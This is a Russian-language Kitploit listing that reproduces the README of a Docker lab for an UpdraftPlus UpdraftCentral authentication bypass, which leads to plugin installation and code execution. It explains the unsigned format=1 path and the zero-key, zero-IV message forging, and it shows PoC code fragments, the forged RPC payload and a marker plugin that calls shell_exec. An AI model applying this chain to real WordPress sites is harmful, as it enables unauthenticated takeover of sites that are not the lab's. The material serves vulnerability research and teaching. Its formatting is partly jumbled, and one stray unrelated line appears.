Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-10795-Lab — Docker-лаборатория, воспроизводящая CVE-2026-10795: обход аутентификации UpdraftPlus UpdraftCentral, объединённый с установкой плагина для получения RCE. Включает уязвимые/исправленные цели, PoC-эксплойт и пошаговый разбор исходного кода. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

Docker-лаборатория, воспроизводящая CVE-2026-10795: обход аутентификации UpdraftPlus UpdraftCentral, объединённый с установкой плагина для получения RCE. Включает уязвимые/исправленные цели, PoC-эксплойт и пошаговый разбор исходного кода.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral: обход аутентификации RPC в связке с установкой плагинов

Краткое описание

Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-10795, уязвимости неаутентифицированного обхода аутентификации, затрагивающей плагин WordPress UpdraftPlus через его удаленный коммуникационный слой UpdraftCentral.

Уязвимое поведение существует в потоке обработки RPC-сообщений UpdraftCentral. В уязвимых версиях поддельное RPC-сообщение с format=1 может обойти проверку подписи, запустить путь неудачного расшифрования RSA и все равно добраться до симметричного расшифрования с предсказуемым поведением нулевого ключа/нулевого IV. Это позволяет принять и выполнить сфабрикованное зашифрованное RPC-сообщение как команду UpdraftCentral.

Эта лаборатория сравнивает две версии UpdraftPlus:

СервисВерсия UpdraftPlusНазначениеURL
vuln1.26.4Уязвимая цель для сравненияhttp://127.0.0.1:8081
patched1.26.5Исправленная цель для сравненияhttp://127.0.0.1:8082

Демонстрируемая цепочка:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
Основная уязвимость — обход аутентификации. Лабораторная работа демонстрирует, что этот обход может быть объединён в цепочку для достижения воздействия типа RCE при наличии привилегированного состояния ключа UpdraftCentral, поскольку UpdraftCentral предоставляет легитимные команды управления плагинами, которые могут устанавливать и активировать плагины WordPress.

Это не уязвимость прямого внедрения команд. Доказательство выполнения кода основано на злоупотреблении функцией установки аутентифицированных плагинов после обхода границы аутентификации RPC.

Данная лабораторная работа предназначена только для контролируемого локального исследования, понимания исходного кода и демонстрации в портфолио.

## Подтверждённые факты

| Утверждение                                                                 | Доказательство                                                                                           | Как проверить в этой лабораторной работе                          |
| -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- |
| UpdraftPlus 1.26.4 уязвим в этой лабораторной работе.                      | Уязвимый сервис принимает поддельное RPC-сообщение `format=1` и отправляет `plugin.upload_plugin`.       | Запустить `python3 poc/poc.py --url http://127.0.0.1:8081`.       |
| UpdraftPlus 1.26.5 блокирует поддельное сообщение в этой лабораторной работе. | Исправленный сервис не возвращает тело ответа RPC и не отправляет поддельную команду.                     | Запустить `python3 poc/poc.py --url http://127.0.0.1:8082`.       |
| Проблема заключается в обходе аутентификации в слое RPC UpdraftCentral.     | Неаутентифицированный запрос RPC с подделкой может достичь отправки команды в уязвимой версии.            | Сравнить поведение `--ping` между портами `8081` и `8082`.        |
| Лабораторная работа не устанавливает плагин-маркер заранее.                | Установка включает только WordPress, UpdraftPlus и локальное состояние ключа UpdraftCentral.             | Проверить `/wp-json/cve-lab/v1/id` до запуска PoC.                |
| PoC устанавливает плагин-маркер через поддельный RPC.                      | PoC отправляет `plugin.upload_plugin` с ZIP-нагрузкой плагина в поле данных RPC.                         | Запустить PoC, затем запросить `/wp-json/cve-lab/v1/id`.          |
| Уязвимая цель достигает воздействия типа RCE.                             | Плагин-маркер предоставляет жёстко закодированную конечную точку, возвращающую вывод `/usr/bin/id`.      | Уязвимая цель возвращает `uid=33(www-data) gid=33(www-data)`.     |
| Исправленная цель не устанавливает плагин-маркер.                         | Конечная точка маркера возвращает `404 rest_no_route` на исправленном сервисе.                          | Запустить PoC против `http://127.0.0.1:8082`.                     |
| Лабораторная работа требует состояния ключа UpdraftCentral.                | Отправка UpdraftCentral зависит от локальной записи ключа и связанных метаданных.                       | Изучить `scripts/setup-wordpress.sh`.                              |

## Допущения и неизвестные

В данной лабораторной работе намеренно создаётся локальное состояние ключа UpdraftCentral для воспроизведения условия сайта, где настроено удалённое управление.

Созданное состояние ключа является предварительным условием лабораторной работы, а не самой уязвимостью. Оно позволяет лабораторной работе последовательно задействовать уязвимый путь разбора и дешифрования RPC.

Лабораторная работа не утверждает, что каждая установка UpdraftPlus немедленно эксплуатируема. Продемонстрированная цепочка зависит от наличия локальной записи ключа UpdraftCentral, связанной с привилегированным пользователем WordPress.

Лабораторная работа демонстрирует контролируемое воздействие типа RCE путём установки плагина-маркера, который предоставляет жёстко закодированную доказательную конечную точку `/usr/bin/id`. Она не предоставляет универсальный веб-шелл, параметр произвольного выполнения команд, реверс-шелл, механизм сохранения, кражу учётных данных или внешний обратный вызов.

PoC ограничен только локальными целями и по умолчанию отклоняет нелокальные имена хостов.

## Краткое описание первопричины

Первопричиной является неправильная проверка RPC-сообщений UpdraftCentral в уязвимых версиях UpdraftPlus.

Уязвимый поток RPC принимает сообщение `format=1`. Путь `format=1` не требует такой же проверки подписи, как более новые форматы сообщений.

Проблема на высоком уровне:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

При уязвимом поведении расшифровка RSA может возвращать:```text false

root@kitploit:~
Вместо отклонения этого неудачного результата дешифрования уязвимый поток продолжается и передает значение в уровень симметричного дешифрования.

Эффективная уязвимая схема:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

Проблема в том, что $sym_key не проверяется перед использованием.

Когда $sym_key равен false, настройка шифра следует предсказуемому поведению с нулевым ключом/нулевым IV. Это позволяет создать зашифрованный RPC-полезный груз, используя известный нулевой ключ и нулевой IV.

Патч добавляет проверку перед использованием симметричного ключа:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Это изменяет границу доверия.

До патча:```text
failed RSA decrypt result could still reach symmetric decrypt

После патча:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
Вот почему уязвимая служба выполняет поддельную RPC-команду, а исправленная — нет.

## Почему обход аутентификации может привести к выполнению кода

CVE-2026-10795 лучше всего описывается как обход аутентификации, поскольку коренной недостаток находится в уровне аутентификации RPC и верификации сообщений.

Однако после обхода этого барьера аутентификации подконтрольное злоумышленнику RPC-сообщение может достичь привилегированных команд UpdraftCentral.

Один из важных путей команд:
- `updraftcentral_send_command````text
plugin.upload_plugin

Эта команда является частью функциональности управления плагинами UpdraftCentral. Она принимает ZIP-пакет плагина, записывает его во временное местоположение, устанавливает плагин и активирует его по запросу.

Таким образом, цепочка воздействия:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
Это не инъекция команд. Лабораторная работа демонстрирует выполнение кода путем установки плагина-маркера, который предоставляет одну конечную точку:```text
/wp-json/cve-lab/v1/id

Плагин маркера не принимает параметр команды. Он только запускает:```text /usr/bin/id

root@kitploit:~
Это сохраняет контроль над доказательством и не позволяет превратить лабораторию в универсальную web shell.

## Сводка патча исходного кода

Соответствующее поведение патча заключается в том, что исправленная версия отклоняет недопустимые симметричные ключи перед попыткой расшифровать тело RPC-сообщения.

Важная валидация:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Это предотвращает уязвимое поведение отката, при котором неудачный результат расшифровки RSA может стать предсказуемым путём симметричного ключа.

Практический результат:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
Лаборатория также проверяет влияние на последующие компоненты, воздействуя на реальный путь команды загрузки плагина UpdraftCentral.

Соответствующее поведение команды:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

Патч блокирует поддельное сообщение до того, как этот путь команды будет достигнут.

Разбор на уровне исходного кода

В этом разделе объясняется уязвимый путь на уровне исходного кода и сопоставляется каждый шаг PoC с соответствующим поведением UpdraftPlus / UpdraftCentral.

Лаборатория не полагается на поддельный маршрут уязвимого приложения. Уязвимое поведение достигается через настоящий слушатель RPC UpdraftCentral и настоящий путь команды управления плагинами UpdraftCentral.

Важные области исходного кода:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### Создание слушателя

Уязвимый путь RPC начинается, когда WordPress получает POST-запрос, содержащий:```text
udrpc_message
format
key_name

Библиотека RPC регистрирует слушатель на WordPress wp_loaded, когда существуют указанные поля POST.

Концептуально, поток выглядит следующим образом:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
Это означает, что злоумышленнику не нужно знать специальную конечную точку REST или URL администратора. Поддельный RPC-запрос отправляется как обычный POST-запрос к корню сайта WordPress.

PoC отправляет:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

Запрос достигает того же пути прослушивателя, который используется для легитимной удаленной связи UpdraftCentral.

Key Name Matching

UpdraftCentral хранит локальные ключи удаленного управления в параметрах WordPress. В этой лабораторной работе скрипт установки задает контролируемое состояние ключа как для уязвимой, так и для исправленной цели.

Соответствующее имя ключа:```text 0.central.updraftplus.com

root@kitploit:~
Этот формат создается логикой ключевых индикаторов UpdraftCentral:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

Слушатель продолжает работу только в том случае, если незашифрованное поле POST соответствует ожидаемому ключевому индикатору:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
Следовательно, PoC устанавливает:```python
KEY_NAME = "0.central.updraftplus.com"

Это не уязвимость. Это лабораторное предусловие, позволяющее тесту воспроизводимо задействовать уязвимый путь парсинга RPC и дешифрования.

Обработка форматов и обход подписи

UpdraftCentral поддерживает форматы сообщений. Важное различие заключается в:```text format=1 legacy path format=2 signed message path

root@kitploit:~
В уязвимом пути выполнения кода проверка подписи происходит только когда формат больше или равен 2:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Поскольку PoC использует:```text format=1

root@kitploit:~
этот блок проверки подписи пропускается.

Это граница обхода аутентификации.

Ожидается, что легитимное сообщение `format=2` содержит действительную подпись. Поддельное сообщение `format=1` не требует подписи, поэтому сообщение, контролируемое атакующим, может продолжить путь расшифровки.

### Уязвимый поток расшифровки

После проверок формата и имени ключа прослушиватель расшифровывает отправленное `udrpc_message`.

Уязвимый поток расшифровки в UpdraftPlus 1.26.4 по сути:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

Ошибка находится между этими двумя операциями:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
Если расшифровка RSA не удалась, `$rsa->decrypt()` может вернуть:```php
false

Уязвимая версия не отклоняет это значение перед передачей его в:```php $rij->setKey($sym_key);

root@kitploit:~
Исправленная версия исправляет это, добавляя проверку:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Почему false становится предсказуемым

Уязвимое поведение опасно, потому что setKey(false) не приводит к безопасному сбою в этом пути phpseclib.

Код шифра вычисляет длину ключа из предоставленного ключа:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
Когда `$key` равно `false`, `strlen(false)` ведёт себя как случай нулевой длины ключа. Логика длины ключа Rijndael округляет очень маленькие размеры ключей до допустимой минимальной длины ключа:```php
case $length <= 128:
    $this->key_length = 16;
    break;

Затем настройка шифра дополняет ключ и IV нулевыми байтами:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
Таким образом, атакующий может смоделировать уязвимое поведение дешифрования как:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

Вот почему PoC может локально зашифровать команду JSON RPC и заставить уязвимую цель успешно её расшифровать.

Структура сообщения, используемая PoC

Уязвимая функция расшифровки ожидает, что зашифрованное сообщение будет содержать:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
PoC собирает эту структуру вручную:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

Блок RSA намеренно недействителен:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
На UpdraftPlus 1.26.4, неверный блок RSA приводит к сбою расшифровки RSA, но сбой не отклоняется.

На UpdraftPlus 1.26.5, результат неудачной расшифровки отклоняется новой защитой, и поддельное сообщение не достигает диспетчера команд.

### Внутреннее JSON RPC сообщение

Зашифрованное внутреннее сообщение представляет собой обычную JSON-команду в стиле UpdraftCentral.

Для проверки ping в PoC используется:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

Для стандартного ID proof, PoC использует:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
`key_name` встречается как снаружи, так и внутри зашифрованного сообщения. Слушатель проверяет, что они совпадают:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

Вот почему PoC должен включать одно и то же имя ключа в обоих местах.

Проверка JSON перед отправкой

После расшифровки сообщения слушатель разбирает его как JSON:```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
Сообщение должно содержать допустимую команду:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

Оно также должно содержать метку времени:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
Временная метка должна находиться в пределах допустимого окна повторного воспроизведения:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

Таким образом, PoC устанавливает внутреннее поле time на текущее время.

Диспетчеризация команд

После дешифровки и проверки сообщения UpdraftCentral отправляет команду.

Команды используют префиксный формат:```text .

root@kitploit:~
Например:```text
plugin.upload_plugin

Это становится:```text prefix = plugin method = upload_plugin

root@kitploit:~
Слушатель определяет класс команды по префиксу, а затем динамически вызывает метод.```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

Для команды PoC:```text plugin.upload_plugin

root@kitploit:~
вызовы слушателя:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

Вот почему PoC не требует прямого приемника командной инъекции. Он достигает легитимной привилегированной команды UpdraftCentral после обхода границы аутентификации RPC.

Контекст пользователя и проверки возможностей

Слушатель может установить текущего пользователя WordPress из метаданных ключа UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
В этой лабораторной работе установленный ключ имеет:```text
extra_info.user_id = 1

Это имитирует настроенный ключ UpdraftCentral, связанный с пользователем-администратором, созданным при установке WordPress.

Это важно, потому что путь загрузки плагина проверяет возможности WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
Таким образом, только обход позволяет передать поддельную команду в уровень RPC. Метаданные внедрённого ключа определяют, в контексте какого пользователя WordPress будет выполняться команда.

В этой лабораторной работе команда выполняется в контексте администратора, поскольку ключ связан с ID пользователя 1.

### Приёмник загрузки плагинов

Метод команды:

``````php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

Общий обработчик загрузки ожидает данные загрузки плагина:```text filename data activate

root@kitploit:~
PoC отправляет:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Обработчик загрузки записывает содержимое ZIP-файла во временный файл:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
Для загрузки без разбиения на блоки установка выполняется немедленно:```php
$install_now = true;

Затем обработчик строит путь к ZIP-архиву:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
и устанавливает его с помощью обновлятора плагинов UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

Если установка прошла успешно и activate равно true, код активирует установленный плагин:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
Успешный ответ на установку содержит:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

Это причина на уровне исходного кода, почему поддельный обход аутентификации RPC может быть объединен с установкой и активацией плагинов WordPress.

Marker Plugin

Маркерный плагин генерируется PoC в памяти. Он не предустановлен настройками Docker.

Сгенерированный ZIP-архив содержит:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
Плагин marker регистрирует один REST маршрут:```text
/wp-json/cve-lab/v1/id

Конечная точка возвращает:```text lab plugin proof uid gid user id_output

root@kitploit:~
Единственная команда, выполняемая плагином маркера, жестко закодирована:```php
shell_exec('/usr/bin/id 2>&1');

Нет управляемого пользователем параметра cmd.

Это сделано намеренно. Лабораторная работа демонстрирует выполнение кода плагином, избегая при этом создания универсальной веб-оболочки.

Почему исправленная цель возвращает 404

Исправленная служба получает тот же поддельный запрос и находится в том же начальном состоянии ключа.

Разница заключается в исправленном защитном механизме дешифрования:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Поскольку PoC намеренно предоставляет недействительный блок RSA, расшифрованный симметричный ключ недействителен.

В UpdraftPlus 1.26.5 поддельное сообщение останавливается до разбора JSON и до отправки команды.

Следовательно:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

Это исправленное поведение доказывает, что результат лабораторной работы зависит от уязвимого пути кода RPC в UpdraftPlus, а не от контейнера Docker.

Сопоставление PoC с исходным кодом

Как код PoC отображает уязвимость

PoC начинается с отказа от нелокальных целей:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
Это сохраняет область действия скрипта в пределах лаборатории Docker.

PoC создает внутреннее сообщение RPC:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

Если используется стандартное подтверждение ID, команда:```python command = "plugin.upload_plugin"

root@kitploit:~
и данные:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Затем PoC шифрует внутренний JSON с помощью предсказуемого уязвимого состояния шифра:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
Это соответствует уязвимому последствию передачи `false` в настройку симметричного шифра. PoC намеренно использует плохой блок RSA:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

The resulting udrpc_message is built in the same length-prefixed format that the RPC decrypt function expects:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
Наконец, PoC отправляет поддельный RPC-запрос:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

На уязвимой цели ответ сервера содержит действительное тело ответа в стиле RPC JSON. PoC рассматривает это как:```text RPC DISPATCHED

root@kitploit:~
После отправки PoC проверяет воздействие, запрашивая marker endpoint:```text
GET /wp-json/cve-lab/v1/id

Если плагин marker был установлен и активирован, конечная точка возвращает:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Этот вывод доказывает, что поддельное неаутентифицированное RPC-сообщение достигло привилегированного пути установки плагина и активировало предоставленный атакующим код плагина внутри локальной лаборатории.

## Что доказывает лаборатория

Эта лаборатория доказывает следующую техническую цепочку:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

Лабораторная работа не доказывает, что каждая установка является эксплуатируемой без предварительных условий.

Необходимым предварительным условием для этой демонстрации является:```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
Настройка Docker создает это предварительное условие в обеих целях, чтобы разницу между уязвимым и исправленным поведением можно было справедливо протестировать.

## Архитектура лаборатории

Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

Два сервиса WordPress используют отдельные базы данных и отдельные версии UpdraftPlus:

Сервисы по умолчанию:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
Процесс настройки загружает одно и то же состояние ключа UpdraftCentral в оба сервиса:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

Это обеспечивает обоим целям одинаковое предварительное состояние. Разница в поведении обусловлена уязвимой и исправленной версией кода UpdraftPlus, а не разными настройками лаборатории.

Требования

  • Docker Desktop или Docker Engine
  • Docker Compose v2
  • Python 3
  • Поддержка виртуального окружения Python
  • Доступ к интернету во время сборки образа Docker
  • Пакеты Python, перечисленные в requirements.txt

Зависимости Python:```text requests urllib3<2 pycryptodome

root@kitploit:~
Ограничение `urllib3<2` избегает предупреждений, связанных с LibreSSL, в некоторых сборках Python на macOS.

## Быстрый старт

Начните с чистого состояния лаборатории:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Смотрите логи установки:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
Ожидаемые индикаторы настройки:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
  • Введите разумное время жизни в секундах (например, 86400 для 24 часов).```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
root@kitploit:~
Проверить запущенные службы:```bash
docker compose ps

Создайте и активируйте виртуальное окружение Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt

root@kitploit:~
Запустите стандартную проверку ID на уязвимой цели:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Запустите то же самое доказательство против исправленной цели:```bash python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Скрипт намеренно требует опцию `--url`. Это заставляет тестировщика явно указывать цель, вместо того чтобы автоматически атаковать оба сервиса.

## Использование PoC

Поведение по умолчанию:```bash
python3 poc/poc.py --url <local_target_url>

Пример уязвимой цели:```bash python3 poc/poc.py --url http://127.0.0.1:8081

root@kitploit:~
Пример исправленной цели:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Опциональная проверка только через ping:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082

root@kitploit:~
Поддерживаемые опции:

| Опция      | Обязательно | Назначение                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | Да      | URL локальной лабораторной цели                                    |
| `--ping`    | Нет       | Выполнить безвредную проверку поддельного ping вместо подтверждения удостоверения |
| `--timeout` | Нет       | Тайм-аут HTTP в секундах. По умолчанию: `15`                  |

Принятые целевые хосты:```text
127.0.0.1
localhost
::1

PoC по умолчанию отклоняет нелокальные цели.

Как работает PoC

PoC запускается с хостовой машины и отправляет HTTP-запросы к открытым службам Docker.

Действие PoC по умолчанию — доказательство ID.

Общая схема работы следующая:```text

  1. Receive explicit --url target from the tester
  2. Refuse non-local targets
  3. Build a marker WordPress plugin ZIP in memory
  4. Create a forged UpdraftCentral RPC message
  5. Send command plugin.upload_plugin through format=1
  6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
  7. Install and activate the marker plugin
  8. Request /wp-json/cve-lab/v1/id
  9. Print the hard-coded /usr/bin/id output
root@kitploit:~
Плагин маркера не хранится в репозитории как отдельный файл плагина. Он создается в памяти PoC.

Сфальсифицированная команда RPC:```text
plugin.upload_plugin

Данные RPC содержат:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true

root@kitploit:~
PoC шифрует внутреннее сообщение JSON RPC, используя:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

Он также включает намеренно недействительный блок симметричного ключа, зашифрованный с помощью RSA.

В уязвимой версии сбой дешифрования RSA не отклоняется. Сообщение продолжает обрабатываться по предсказуемому пути дешифрования с нулевым ключом, и поддельная команда выполняется.

В исправленной версии недействительный симметричный ключ отклоняется, и поддельная команда не выполняется.

Зачем существует --ping

Опция --ping является вспомогательным средством для отладки.

Она проверяет только обход криптографической защиты и границу вызова RPC. Она не загружает плагин и не выполняет /usr/bin/id.

Используйте --ping, когда проверка идентификатора по умолчанию не работает и необходимо изолировать сбой.

Если --ping завершается неудачей, проблема, скорее всего, возникает до выполнения команды:```text wrong key state wrong key_name message format issue encryption mismatch listener not active patched behavior

root@kitploit:~
Если `--ping` выполняется успешно, но проверка ID не удается, проблема, вероятно, возникает после отправки:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

Ожидаемое поведение ping:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED

root@kitploit:~
## Ожидаемые результаты

### Уязвимая цель

Команда:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

Ожидаемый уязвимый сигнал:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8081/ Command : plugin.upload_plugin Decision : RPC DISPATCHED HTTP status : 200 Body bytes : non-zero RPC JSON seen : True Resp. format : 2

ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id Marker active : True HTTP status : 200 id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
### Исправленная цель

Команда:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Ожидаемый исправленный сигнал:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

